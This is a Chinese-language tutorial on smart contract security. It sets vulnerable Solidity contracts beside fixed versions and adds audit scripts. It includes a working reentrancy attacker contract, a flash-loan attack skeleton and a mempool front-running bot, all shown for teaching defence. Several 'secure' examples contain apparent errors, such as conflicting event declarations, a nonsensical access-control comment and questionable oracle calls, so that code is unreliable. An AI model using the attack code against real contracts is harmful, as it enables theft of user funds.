009_智能合约安全风险：Web3资产保护的关键挑战与防御策略

智能合约安全风险等级分布：
高风险: 重入攻击、整数溢出/下溢、访问控制缺陷
中风险: 预言机操纵、逻辑缺陷、前端运行
低风险: 拒绝服务、随机数生成问题、Gas优化不足

// 存在重入漏洞的合约示例
contract VulnerableBank {
    mapping(address => uint256) public balances;
    
    // 存款函数
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }
    
    // 存在重入漏洞的提款函数
    function withdraw(uint256 _amount) public {
        require(balances[msg.sender] >= _amount, "余额不足");
        
        // 漏洞点：在更新余额前发送以太币
        (bool success, ) = msg.sender.call{value: _amount}("");
        require(success, "转账失败");
        
        // 状态更新在资金转移后
        balances[msg.sender] -= _amount;
    }
}

// 攻击合约示例
contract ReentrancyAttacker {
    VulnerableBank public bank;
    uint256 public attackAmount;
    
    constructor(address _bankAddress) {
        bank = VulnerableBank(_bankAddress);
    }
    
    // 攻击函数
    function attack(uint256 _amount) public payable {
        require(msg.value >= _amount, "需要足够的以太币");
        attackAmount = _amount;
        
        // 先存款
        bank.deposit{value: _amount}();
        // 然后立即提款触发重入
        bank.withdraw(_amount);
    }
    
    // 接收以太币时的回调函数
    receive() external payable {
        // 当收到以太币时，再次调用提款函数
        if (address(bank).balance >= attackAmount) {
            bank.withdraw(attackAmount);
        }
    }
    
    // 获取攻击合约中的余额
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

// 安全的合约实现（使用检查-效果-交互模式）
contract SecureBank {
    mapping(address => uint256) public balances;
    
    // 存款函数
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }
    
    // 安全的提款函数
    function withdraw(uint256 _amount) public {
        require(balances[msg.sender] >= _amount, "余额不足");
        
        // 先更新状态
        balances[msg.sender] -= _amount;
        
        // 然后进行外部调用
        (bool success, ) = msg.sender.call{value: _amount}("");
        require(success, "转账失败");
    }
}

// 使用重入锁的实现
contract SecureBankWithLock {
    mapping(address => uint256) public balances;
    bool private locked = false;
    
    modifier nonReentrant() {
        require(!locked, "重入保护：已锁定");
        locked = true;
        _;
        locked = false;
    }
    
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }
    
    function withdraw(uint256 _amount) public nonReentrant {
        require(balances[msg.sender] >= _amount, "余额不足");
        balances[msg.sender] -= _amount;
        
        (bool success, ) = msg.sender.call{value: _amount}("");
        require(success, "转账失败");
    }
}

// 整数溢出/下溢示例（Solidity < 0.8.0）
contract VulnerableMath {
    // 上溢示例
    function add(uint256 a, uint256 b) public pure returns (uint256) {
        return a + b; // 在Solidity < 0.8.0中，当a + b > 2^256-1时会溢出
    }
    
    // 下溢示例
    function subtract(uint256 a, uint256 b) public pure returns (uint256) {
        return a - b; // 在Solidity < 0.8.0中，当a < b时会下溢
    }
}

// 安全的整数运算（Solidity 0.8.0+）
contract SafeMathOperations {
    // Solidity 0.8.0+中自动检查溢出
    function add(uint256 a, uint256 b) public pure returns (uint256) {
        return a + b; // 自动检查溢出
    }
    
    function subtract(uint256 a, uint256 b) public pure returns (uint256) {
        return a - b; // 自动检查下溢
    }
    
    // 或者显式添加检查
    function safeMultiply(uint256 a, uint256 b) public pure returns (uint256) {
        if (a == 0) return 0;
        uint256 c = a * b;
        require(c / a == b, "乘法溢出");
        return c;
    }
}

// 对于Solidity < 0.8.0，使用SafeMath库
import "@openzeppelin/contracts/math/SafeMath.sol";

contract SafeMathExample {
    using SafeMath for uint256;
    
    function addSafe(uint256 a, uint256 b) public pure returns (uint256) {
        return a.add(b); // 安全加法
    }
    
    function subSafe(uint256 a, uint256 b) public pure returns (uint256) {
        return a.sub(b); // 安全减法
    }
    
    function mulSafe(uint256 a, uint256 b) public pure returns (uint256) {
        return a.mul(b); // 安全乘法
    }
}

// 存在访问控制缺陷的合约
contract VulnerableAccessControl {
    address public owner;
    uint256 public criticalValue;
    
    constructor() {
        owner = msg.sender;
    }
    
    // 缺少访问控制的关键函数
    function updateCriticalValue(uint256 _newValue) public {
        criticalValue = _newValue;
    }
    
    // 有缺陷的权限检查
    function changeOwner(address _newOwner) public {
        // 应该检查msg.sender == owner
        // 但这里错误地只检查_newOwner不为零
        require(_newOwner != address(0), "新所有者地址无效");
        owner = _newOwner;
    }
    
    // 权限检查逻辑错误
    function withdrawFunds() public {
        // 错误地使用了owner变量，而不是比较msg.sender
        // 这允许任何人通过设置其他变量名为"owner"来绕过检查
        require(owner != address(0), "未设置所有者");
        (bool success, ) = owner.call{value: address(this).balance}("");
        require(success, "转账失败");
    }
}

// 安全的访问控制实现
contract SecureAccessControl {
    address public owner;
    uint256 public criticalValue;
    
    // 事件定义
    event OwnerChanged(address indexed previousOwner, address indexed newOwner);
    event CriticalValueUpdated(uint256 previousValue, uint256 newValue);
    event FundsWithdrawn(address indexed recipient, uint256 amount);
    
    // 权限检查修饰器
    modifier onlyOwner() {
        require(msg.sender == owner, "未授权：不是合约所有者");
        _;
    }
    
    constructor() {
        owner = msg.sender;
        emit OwnerChanged(address(0), owner);
    }
    
    // 安全的关键函数更新
    function updateCriticalValue(uint256 _newValue) public onlyOwner {
        uint256 oldValue = criticalValue;
        criticalValue = _newValue;
        emit CriticalValueUpdated(oldValue, _newValue);
    }
    
    // 安全的所有者变更
    function changeOwner(address _newOwner) public onlyOwner {
        require(_newOwner != address(0), "新所有者地址无效");
        address oldOwner = owner;
        owner = _newOwner;
        emit OwnerChanged(oldOwner, _newOwner);
    }
    
    // 安全的提款函数
    function withdrawFunds(uint256 _amount) public onlyOwner {
        require(_amount <= address(this).balance, "余额不足");
        (bool success, ) = owner.call{value: _amount}("");
        require(success, "转账失败");
        emit FundsWithdrawn(owner, _amount);
    }
}

// 使用OpenZeppelin的AccessControl
import "@openzeppelin/contracts/access/AccessControl.sol";

contract RoleBasedAccessControl is AccessControl {
    bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
    bytes32 public constant OPERATOR_ROLE = keccak256("OPERATOR_ROLE");
    
    constructor() {
        _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
        _setupRole(ADMIN_ROLE, msg.sender);
    }
    
    function criticalOperation() public onlyRole(ADMIN_ROLE) {
        // 只有管理员可以执行的操作
    }
    
    function regularOperation() public onlyRole(OPERATOR_ROLE) {
        // 操作员可以执行的常规操作
    }
    
    function grantOperatorRole(address _account) public onlyRole(ADMIN_ROLE) {
        grantRole(OPERATOR_ROLE, _account);
    }
    
    function revokeOperatorRole(address _account) public onlyRole(ADMIN_ROLE) {
        revokeRole(OPERATOR_ROLE, _account);
    }
}

// 依赖单一预言机的合约（易受操纵）
contract VulnerableOracleConsumer {
    address public oracleAddress;
    mapping(string => uint256) public prices;
    
    modifier onlyOracle() {
        require(msg.sender == oracleAddress, "未授权的预言机");
        _;
    }
    
    constructor(address _oracleAddress) {
        oracleAddress = _oracleAddress;
    }
    
    // 更新价格
    function updatePrice(string memory _asset, uint256 _price) public onlyOracle {
        prices[_asset] = _price;
    }
    
    // 基于预言机价格执行交易
    function executeTrade(string memory _asset, uint256 _amount) public payable {
        uint256 assetPrice = prices[_asset];
        uint256 requiredPayment = assetPrice * _amount;
        
        require(msg.value >= requiredPayment, "支付金额不足");
        
        // 执行交易逻辑
        // ...
    }
}

// 更安全的预言机使用模式
import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";

contract SecureOracleConsumer {
    // 主要预言机（Chainlink）
    AggregatorV3Interface internal priceFeed;
    
    // 备用预言机
    AggregatorV3Interface internal fallbackPriceFeed;
    
    // 价格偏差容忍度（百分比）
    uint256 public constant PRICE_DEVIATION_TOLERANCE = 5;
    
    // 价格更新间隔限制
    uint256 public lastUpdateTimestamp;
    uint256 public constant MIN_UPDATE_INTERVAL = 5 minutes;
    
    constructor(address _priceFeedAddress, address _fallbackPriceFeedAddress) {
        priceFeed = AggregatorV3Interface(_priceFeedAddress);
        fallbackPriceFeed = AggregatorV3Interface(_fallbackPriceFeedAddress);
        lastUpdateTimestamp = block.timestamp;
    }
    
    // 获取价格并验证
    function getLatestPrice() public view returns (int) {
        // 获取主要预言机价格
        (,int price,,uint timeStamp,) = priceFeed.latestRoundData();
        require(price > 0, "无效价格");
        require(timeStamp > 0, "无效时间戳");
        
        // 获取备用预言机价格进行验证
        (,int fallbackPrice,,uint fallbackTimeStamp,) = fallbackPriceFeed.latestRoundData();
        require(fallbackPrice > 0, "无效备用价格");
        require(fallbackTimeStamp > 0, "无效备用时间戳");
        
        // 验证两个预言机价格偏差是否在容忍范围内
        uint256 priceDiff;
        if (price > fallbackPrice) {
            priceDiff = uint256(price - fallbackPrice) * 100 / uint256(fallbackPrice);
        } else {
            priceDiff = uint256(fallbackPrice - price) * 100 / uint256(price);
        }
        
        require(priceDiff <= PRICE_DEVIATION_TOLERANCE, "预言机价格偏差过大");
        
        return price;
    }
    
    // 执行交易，使用验证后的价格
    function executeTrade(uint256 _amount) public payable {
        // 检查更新时间间隔
        require(block.timestamp >= lastUpdateTimestamp + MIN_UPDATE_INTERVAL, "更新过于频繁");
        lastUpdateTimestamp = block.timestamp;
        
        int latestPrice = getLatestPrice();
        uint256 requiredPayment = uint256(latestPrice) * _amount / 10**8; // 假设价格精度为8位小数
        
        require(msg.value >= requiredPayment, "支付金额不足");
        
        // 执行交易逻辑
        // ...
    }
}

// 闪电贷攻击示意（简化版）
contract FlashLoanAttacker {
    address public lendingPool;
    address public vulnerableDeFiProtocol;
    address public tokenA;
    address public tokenB;
    
    constructor(address _lendingPool, address _defiProtocol, address _tokenA, address _tokenB) {
        lendingPool = _lendingPool;
        vulnerableDeFiProtocol = _defiProtocol;
        tokenA = _tokenA;
        tokenB = _tokenB;
    }
    
    // 执行闪电贷攻击
    function executeAttack(uint256 _amount) public {
        // 1. 从借贷池借入大量资金
        bytes memory data = abi.encode(_amount, tokenB);
        ILendingPool(lendingPool).flashLoan(address(this), _amount, data);
    }
    
    // 闪电贷回调函数
    function executeOperation(uint256 _amount, bytes calldata _data) external {
        (uint256 amountOut, address targetToken) = abi.decode(_data, (uint256, address));
        
        // 2. 操纵市场价格
        // 例如：在DEX上大量买入目标代币操纵价格
        manipulateMarketPrice(_amount, targetToken);
        
        // 3. 利用价格异常从漏洞合约获利
        exploitVulnerableProtocol();
        
        // 4. 偿还闪电贷
        require(IERC20(targetToken).balanceOf(address(this)) >= amountOut, "余额不足");
        IERC20(targetToken).transfer(lendingPool, amountOut);
    }
    
    // 市场价格操纵
    function manipulateMarketPrice(uint256 _amount, address _token) internal {
        // 实现市场操纵逻辑
        // 例如：在不同交易所间进行大额交易
    }
    
    // 利用漏洞协议
    function exploitVulnerableProtocol() internal {
        // 实现利用漏洞的逻辑
        // 例如：利用价格操纵后的异常价格执行交易
    }
}

// 防御闪电贷攻击的价格计算合约
contract TWAPPriceOracle {
    IUniswapV2Pair public pair;
    uint256 public constant PERIOD = 30 minutes;
    uint256 public lastUpdate;
    uint256 public price0CumulativeLast;
    uint256 public price1CumulativeLast;
    
    constructor(address _pairAddress) {
        pair = IUniswapV2Pair(_pairAddress);
        price0CumulativeLast = pair.price0CumulativeLast();
        price1CumulativeLast = pair.price1CumulativeLast();
        lastUpdate = block.timestamp;
    }
    
    // 更新价格累积数据
    function update() public {
        (uint256 price0Cumulative, uint256 price1Cumulative,
         uint32 blockTimestamp) = pair.snapshotCumulativePrices();
        
        uint32 timeElapsed = blockTimestamp - uint32(lastUpdate);
        
        // 只有经过足够的时间才更新
        if (timeElapsed >= PERIOD) {
            price0CumulativeLast = price0Cumulative;
            price1CumulativeLast = price1Cumulative;
            lastUpdate = blockTimestamp;
        }
    }
    
    // 获取TWAP价格
    function getTWAP() public view returns (uint256 price0Average, uint256 price1Average) {
        (uint256 price0Cumulative, uint256 price1Cumulative,
         uint32 blockTimestamp) = pair.snapshotCumulativePrices();
        
        uint32 timeElapsed = blockTimestamp - uint32(lastUpdate);
        
        // 时间加权平均价格计算
        price0Average = uint256(price0Cumulative - price0CumulativeLast) / timeElapsed;
        price1Average = uint256(price1Cumulative - price1CumulativeLast) / timeElapsed;
    }
    
    // 验证价格是否在合理范围内
    function validatePrice(uint256 _currentPrice, uint256 _maxDeviationPercent) public view returns (bool) {
        (uint256 twapPrice, ) = getTWAP();
        
        uint256 deviation;
        if (_currentPrice > twapPrice) {
            deviation = (_currentPrice - twapPrice) * 100 / twapPrice;
        } else {
            deviation = (twapPrice - _currentPrice) * 100 / twapPrice;
        }
        
        return deviation <= _maxDeviationPercent;
    }
}

// 前置交易监控脚本示例
class FrontRunningMonitor {
  constructor(provider, wallet) {
    this.provider = provider;
    this.wallet = wallet;
    this.targetContracts = new Set();
    this.minProfitThreshold = ethers.utils.parseEther("0.1"); // 最低利润阈值
  }
  
  // 添加要监控的合约
  addTargetContract(contractAddress) {
    this.targetContracts.add(contractAddress);
  }
  
  // 开始监控内存池
  startMonitoring() {
    console.log("开始监控内存池中的交易...");
    
    // 订阅新的交易
    this.provider.on('pending', async (txHash) => {
      try {
        const tx = await this.provider.getTransaction(txHash);
        
        // 检查是否是目标合约的交易
        if (tx && this.targetContracts.has(tx.to)) {
          console.log(`检测到目标合约交易: ${txHash}`);
          
          // 分析交易数据
          const profit = await this.analyzeTransactionProfitability(tx);
          
          // 如果有利可图，执行前置交易
          if (profit.gt(this.minProfitThreshold)) {
            console.log(`发现有利可图的交易，预期利润: ${ethers.utils.formatEther(profit)} ETH`);
            await this.executeFrontRunningTransaction(tx, profit);
          }
        }
      } catch (error) {
        console.error(`分析交易时出错: ${error.message}`);
      }
    });
  }
  
  // 分析交易盈利能力
  async analyzeTransactionProfitability(tx) {
    // 实现交易分析逻辑
    // 例如：对于代币交换交易，分析价格影响和可能的套利空间
    // ...
    return ethers.utils.parseEther("0.2"); // 示例利润
  }
  
  // 执行前置交易
  async executeFrontRunningTransaction(targetTx, expectedProfit) {
    // 计算最优gas价格（高于目标交易）
    const optimalGasPrice = targetTx.gasPrice.add(ethers.utils.parseUnits("10", "gwei"));
    
    // 构建前置交易数据
    const frontRunningTx = {
      to: targetTx.to,
      data: targetTx.data, // 可能需要修改数据以实现套利
      gasLimit: targetTx.gasLimit.mul(110).div(100), // 增加10%的gas限制
      gasPrice: optimalGasPrice
    };
    
    // 发送前置交易
    try {
      const txResponse = await this.wallet.sendTransaction(frontRunningTx);
      console.log(`前置交易已发送: ${txResponse.hash}`);
      return txResponse;
    } catch (error) {
      console.error(`发送前置交易失败: ${error.message}`);
    }
  }
}

// 防前置交易的提交-揭示模式合约
contract CommitRevealPattern {
    struct Commitment {
        bytes32 commitment;
        uint256 timestamp;
        bool revealed;
    }
    
    mapping(address => Commitment) public commitments;
    uint256 public constant COMMIT_PERIOD = 1 hours;
    uint256 public constant REVEAL_PERIOD = 1 hours;
    
    // 提交阶段
    function commit(bytes32 _commitment) public {
        commitments[msg.sender] = Commitment({
            commitment: _commitment,
            timestamp: block.timestamp,
            revealed: false
        });
    }
    
    // 揭示阶段
    function reveal(uint256 _value, bytes32 _nonce) public {
        Commitment storage commitment = commitments[msg.sender];
        
        // 验证提交时间
        require(block.timestamp > commitment.timestamp, "提交时间无效");
        require(block.timestamp <= commitment.timestamp + COMMIT_PERIOD + REVEAL_PERIOD, "揭示时间已过");
        
        // 验证揭示的内容匹配提交的哈希
        bytes32 calculatedCommitment = keccak256(abi.encodePacked(msg.sender, _value, _nonce));
        require(calculatedCommitment == commitment.commitment, "揭示内容与提交不匹配");
        require(!commitment.revealed, "已经揭示过");
        
        // 标记为已揭示
        commitment.revealed = true;
        
        // 执行实际操作
        executeAction(_value);
    }
    
    // 执行实际操作
    function executeAction(uint256 _value) internal {
        // 实现具体业务逻辑
        // ...
    }
    
    // 计算承诺哈希
    function calculateCommitment(uint256 _value, bytes32 _nonce) public view returns (bytes32) {
        return keccak256(abi.encodePacked(msg.sender, _value, _nonce));
    }
}

// 存在重放攻击风险的合约
contract VulnerableToReplay {
    mapping(address => uint256) public balances;
    
    // 转账函数，没有防重放保护
    function transfer(address _to, uint256 _amount) public {
        require(balances[msg.sender] >= _amount, "余额不足");
        balances[msg.sender] -= _amount;
        balances[_to] += _amount;
    }
    
    // 存款函数
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }
}

// 防重放攻击的合约
contract SecureAgainstReplay {
    mapping(address => uint256) public balances;
    mapping(address => uint256) public nonces;
    uint256 public chainId;
    mapping(bytes32 => bool) public executedTransactions;
    
    constructor(uint256 _chainId) {
        chainId = _chainId;
    }
    
    // 安全的转账函数，使用nonce防重放
    function transfer(address _to, uint256 _amount) public {
        // 使用nonce防止在同一链上重放
        nonces[msg.sender]++;
        require(balances[msg.sender] >= _amount, "余额不足");
        balances[msg.sender] -= _amount;
        balances[_to] += _amount;
    }
    
    // 基于签名的转账，防重放
    function transferWithSignature(
        address from,
        address to,
        uint256 amount,
        uint256 nonce,
        uint256 expiry,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public {
        // 验证过期时间
        require(block.timestamp <= expiry, "签名已过期");
        
        // 验证nonce
        require(nonce == nonces[from] + 1, "无效的nonce");
        
        // 构建消息哈希，包含链ID防跨链重放
        bytes32 hash = keccak256(abi.encodePacked(from, to, amount, nonce, expiry, chainId));
        bytes32 ethSignedMessageHash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
        
        // 验证签名者
        address signer = ecrecover(ethSignedMessageHash, v, r, s);
        require(signer == from, "无效签名");
        
        // 检查交易是否已执行
        require(!executedTransactions[hash], "交易已执行");
        executedTransactions[hash] = true;
        
        // 更新nonce
        nonces[from] = nonce;
        
        // 执行转账
        require(balances[from] >= amount, "余额不足");
        balances[from] -= amount;
        balances[to] += amount;
    }
    
    // 存款函数
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }
}

智能合约审计执行流程：
1. 代码审查 → 2. 静态分析 → 3. 动态分析 → 4. 形式化验证 → 5. 渗透测试

// 简化的自动化安全分析脚本
const { execSync } = require('child_process');
const fs = require('fs');
const path = require('path');

class ContractSecurityAnalyzer {
  constructor(contractPath, outputDir) {
    this.contractPath = contractPath;
    this.outputDir = outputDir;
    if (!fs.existsSync(outputDir)) {
      fs.mkdirSync(outputDir, { recursive: true });
    }
  }
  
  // 运行Slither分析
  runSlither() {
    console.log('运行Slither静态分析...');
    try {
      const output = execSync(`slither ${this.contractPath} --json ${this.outputDir}/slither-report.json`).toString();
      fs.writeFileSync(`${this.outputDir}/slither-output.txt`, output);
      console.log('Slither分析完成');
      return true;
    } catch (error) {
      console.error('Slither分析失败:', error.message);
      return false;
    }
  }
  
  // 运行Mythril分析
  runMythril() {
    console.log('运行Mythril符号执行分析...');
    try {
      const output = execSync(`myth analyze ${this.contractPath} -o ${this.outputDir}/mythril-report.json`).toString();
      fs.writeFileSync(`${this.outputDir}/mythril-output.txt`, output);
      console.log('Mythril分析完成');
      return true;
    } catch (error) {
      console.error('Mythril分析失败:', error.message);
      return false;
    }
  }
  
  // 运行Solhint检查
  runSolhint() {
    console.log('运行Solhint代码风格检查...');
    try {
      const output = execSync(`solhint ${this.contractPath}`).toString();
      fs.writeFileSync(`${this.outputDir}/solhint-output.txt`, output);
      console.log('Solhint检查完成');
      return true;
    } catch (error) {
      // Solhint在发现问题时会返回非零退出码
      fs.writeFileSync(`${this.outputDir}/solhint-output.txt`, error.stdout.toString());
      console.log('Solhint检查完成，但发现一些问题');
      return true;
    }
  }
  
  // 生成综合报告
  generateReport() {
    console.log('生成综合安全报告...');
    
    // 读取各工具报告
    const reports = {
      slither: this.readReport('slither-report.json'),
      mythril: this.readReport('mythril-report.json'),
      solhint: fs.readFileSync(`${this.outputDir}/solhint-output.txt`, 'utf8')
    };
    
    // 分析并汇总结果
    const summary = this.analyzeReports(reports);
    
    // 生成HTML报告
    const htmlReport = this.generateHtmlReport(summary, reports);
    fs.writeFileSync(`${this.outputDir}/security-report.html`, htmlReport);
    
    console.log(`综合安全报告已生成: ${this.outputDir}/security-report.html`);
    return summary;
  }
  
  // 读取JSON报告
  readReport(filename) {
    const filePath = `${this.outputDir}/${filename}`;
    if (fs.existsSync(filePath)) {
      return JSON.parse(fs.readFileSync(filePath, 'utf8'));
    }
    return null;
  }
  
  // 分析报告并生成摘要
  analyzeReports(reports) {
    // 实现报告分析逻辑
    // ...
    return {
      contract: path.basename(this.contractPath),
      timestamp: new Date().toISOString(),
      highSeverityIssues: 2,
      mediumSeverityIssues: 5,
      lowSeverityIssues: 8,
      summary: "发现多个安全问题，需要修复"
    };
  }
  
  // 生成HTML报告
  generateHtmlReport(summary, reports) {
    // 实现HTML报告生成逻辑
    // ...
    return `<html><body><h1>智能合约安全审计报告</h1></body></html>`;
  }
  
  // 运行完整分析流程
  runFullAnalysis() {
    console.log(`开始分析合约: ${this.contractPath}`);
    
    this.runSlither();
    this.runMythril();
    this.runSolhint();
    
    const summary = this.generateReport();
    console.log('安全分析完成');
    return summary;
  }
}

// 使用示例
const analyzer = new ContractSecurityAnalyzer(
  './contracts/MyContract.sol',
  './security-reports'
);
analyzer.runFullAnalysis();

// 安全的ERC20代币实现示例
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SecureERC20Token is ERC20, ERC20Burnable, Ownable, Pausable, ReentrancyGuard {
    // 最大供应量限制
    uint256 public constant MAX_SUPPLY = 100_000_000 * 10**18; // 1亿代币，精度18
    
    // 铸造事件
    event Mint(address indexed to, uint256 amount);
    
    // 合约暂停/恢复事件
    event Paused(address account);
    event Unpaused(address account);
    
    constructor(string memory name, string memory symbol) ERC20(name, symbol) {
        // 初始供应量设为0，由owner控制铸造
    }
    
    // 暂停功能
    function pause() public onlyOwner {
        _pause();
        emit Paused(msg.sender);
    }
    
    // 恢复功能
    function unpause() public onlyOwner {
        _unpause();
        emit Unpaused(msg.sender);
    }
    
    // 铸造功能，带有供应量限制
    function mint(address to, uint256 amount) public onlyOwner nonReentrant {
        require(to != address(0), "铸造到零地址");
        require(totalSupply() + amount <= MAX_SUPPLY, "超过最大供应量");
        require(amount > 0, "铸造金额必须大于0");
        
        _mint(to, amount);
        emit Mint(to, amount);
    }
    
    // 覆盖转账函数，添加暂停检查
    function _beforeTokenTransfer(address from, address to, uint256 amount)
        internal
        whenNotPaused
        override
    {
        super._beforeTokenTransfer(from, to, amount);
        
        // 额外的安全检查
        require(to != address(0), "转账到零地址");
        require(amount > 0, "转账金额必须大于0");
    }
    
    // 紧急提款功能（仅用于意外转入的以太币）
    function withdrawEther() public onlyOwner nonReentrant {
        uint256 balance = address(this).balance;
        require(balance > 0, "没有以太币可提取");
        
        // 检查-效果-交互模式：先记录，再转账
        (bool success, ) = payable(owner()).call{value: balance}("");
        require(success, "以太币转账失败");
    }
    
    // 防止合约接收以太币，除非明确调用withdrawEther
    receive() external payable {
        revert("合约不接受直接转账");
    }
}

// 简化的代理合约示例
contract Proxy {
    address public implementation;
    address public admin;
    
    event Upgraded(address indexed implementation);
    event AdminChanged(address indexed previousAdmin, address indexed newAdmin);
    
    constructor(address _implementation, address _admin) {
        implementation = _implementation;
        admin = _admin;
    }
    
    // 管理员修改实现合约地址
    function upgrade(address _newImplementation) public {
        require(msg.sender == admin, "未授权");
        require(_newImplementation != address(0), "新实现地址无效");
        implementation = _newImplementation;
        emit Upgraded(_newImplementation);
    }
    
    // 修改管理员
    function changeAdmin(address _newAdmin) public {
        require(msg.sender == admin, "未授权");
        require(_newAdmin != address(0), "新管理员地址无效");
        address previousAdmin = admin;
        admin = _newAdmin;
        emit AdminChanged(previousAdmin, _newAdmin);
    }
    
    // 委托调用实现合约
    fallback() external payable {
        address _impl = implementation;
        require(_impl != address(0), "实现地址未设置");
        
        assembly {
            // 复制调用数据
            calldatacopy(0, 0, calldatasize())
            
            // 委托调用实现合约
            let result := delegatecall(gas(), _impl, 0, calldatasize(), 0, 0)
            
            // 复制返回数据
            returndatacopy(0, 0, returndatasize())
            
            // 根据结果设置状态码
            switch result
            case 0 { revert(0, returndatasize()) }
            default { return(0, returndatasize()) }
        }
    }
    
    receive() external payable {
        // 处理直接发送的以太币
        address _impl = implementation;
        require(_impl != address(0), "实现地址未设置");
        
        assembly {
            // 委托调用实现合约的receive函数
            let result := delegatecall(gas(), _impl, 0, 0, 0, 0)
            
            // 复制返回数据
            returndatacopy(0, 0, returndatasize())
            
            // 根据结果设置状态码
            switch result
            case 0 { revert(0, returndatasize()) }
            default { return(0, returndatasize()) }
        }
    }
}

// 实现合约示例
contract ImplementationV1 {
    // 存储变量必须与未来版本保持兼容
    uint256 public value;
    
    // 初始化函数（在部署时调用）
    function initialize(uint256 _initialValue) public {
        value = _initialValue;
    }
    
    // 业务逻辑函数
    function updateValue(uint256 _newValue) public {
        value = _newValue;
    }
    
    // 获取当前版本
    function getVersion() public pure returns (string memory) {
        return "v1.0.0";
    }
}

// 升级后的实现合约
contract ImplementationV2 {
    // 保持与V1相同的存储布局
    uint256 public value;
    
    // 新增存储变量（必须在现有变量之后添加）
    uint256 public additionalValue;
    
    // 升级函数（在升级后调用）
    function upgradeToV2(uint256 _additionalValue) public {
        additionalValue = _additionalValue;
    }
    
    // 重写业务逻辑
    function updateValue(uint256 _newValue) public {
        // 增加新的验证
        require(_newValue > 0, "值必须大于0");
        value = _newValue;
    }
    
    // 新增功能
    function updateAdditionalValue(uint256 _newValue) public {
        additionalValue = _newValue;
    }
    
    // 获取当前版本
    function getVersion() public pure returns (string memory) {
        return "v2.0.0";
    }
}